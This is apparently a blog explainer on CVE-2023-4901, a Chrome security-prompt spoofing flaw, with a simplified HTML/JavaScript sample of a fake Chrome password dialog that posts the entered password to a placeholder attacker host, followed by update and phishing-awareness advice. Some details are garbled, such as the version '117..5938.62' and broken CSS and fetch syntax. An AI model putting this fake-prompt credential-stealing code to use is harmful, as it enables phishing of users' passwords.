CVE-2023-4901 - Chrome Prompt Security UI Spoofing - How Attackers Fooled the Browser

In September 2023, Google patched a security issue known as CVE-2023-4901 in its Chrome browser. This medium-severity vulnerability affected versions prior to 117..5938.62. The problem? A clever attacker could craft a web page to trick Chrome’s security prompts and potentially fool users into giving away sensitive information.

In this deep dive, we’ll break down how CVE-2023-4901 works, show a sample exploit, and link you to all the necessary official information.

What Was the Bug?

Most web browsers, including Chrome, use prompts to warn you about security risks—like when a site asks for your password or wants to access your webcam. In this bug, Chrome didn’t handle these prompts the right way (the technical term is “inappropriate implementation in Prompts”). Because of this flaw, a web page could spoof (fake) security warnings or permission prompts, making users think a message is coming from Chrome itself... when it’s really just the website.

Here's why this is a big deal

- Security prompts are considered trustworthy because they look like they’re directly from the browser, *not* from websites.
- If a site can fake these prompts, it can trick users into entering passwords, installing malware, or taking other risky actions.

Exploit Example — How Could an Attacker Use It?

Let’s look at a simplified example using HTML and JavaScript.

Imagine a phishing site wants to get your Google password. It might pop up a fake Chrome-style password prompt:

<!-- Fake Chrome Prompt Example -->
<div style="
  position: fixed;
  top: 35%;
  left: 50%;
  transform: translate(-50%, -50%);
  background: #FFF;
  border: 1px solid #EEE;
  box-shadow:  2px 10px rgba(,,,.2);
  padding: 25px;
  z-index: 999999;
  font-family: Arial, sans-serif;
">
  <img src="chrome-logo.png" alt="Chrome" style="width:32px;vertical-align:middle;">
  <span style="font-weight:bold;">Chrome says:</span>
  <p>
    For your security, re-enter your Google password:
    <input type="password" style="width:90%;">
  </p>
  <button onclick="stealPassword()">Continue</button>
</div>

<script>
function stealPassword() {
  // Would normally send password to attacker server
  var pwd = document.querySelector('input[type="password"]').value;
  fetch('https://evil-phishing-site.com/save';, { 
    method: 'POST', 
    body: JSON.stringify({password: pwd})
  });
  alert('Thank you!');
}
</script>

How does this connect to the CVE?
Using this bug, an attacker could make this pop-up appear at just the right moment (for example, after trying to log in or access a secure page), making it look like a real browser message, not a fake one from the website.

User complies, handing info right to the attacker.

Because of this vulnerability, the separation between browser UI and website content was blurred.

Chromium Bug Tracker:

chromium: 1484882 *(may be restricted but confirms the CVE)*

Chrome Releases Security Update:

Chrome Releases — Stable Channel Update for Desktop

Google Security Bulletin:

CVE-2023-4901 Details on Google Cloud Security Advisory

What Should You Do?

1. Update Chrome:
Make sure your browser is version 117..5938.62 or newer.

2. Watch What You Click:
If a prompt asks for personal info and doesn’t look *exactly like* your browser’s native prompt, be suspicious.

3. Report Bad Sites:
If you spot a site faking browser prompts, report it via Chrome’s “Report phishing” tool.

Conclusion

CVE-2023-4901 is a reminder that even small bugs in UI handling can have big security consequences. By patching Chrome quickly, Google shut down an easy path for tricking users. As always, keeping your browser updated is your first line of defense.

Stay safe, and always look twice before you type in sensitive information!


*This guide is exclusive content, designed to make complicated browser bugs easy to understand. Share it to help your friends and colleagues stay one step ahead of cyber criminals!*

Timeline

Published on: 09/12/2023 21:15:00 UTC
Last modified on: 09/19/2023 05:17:00 UTC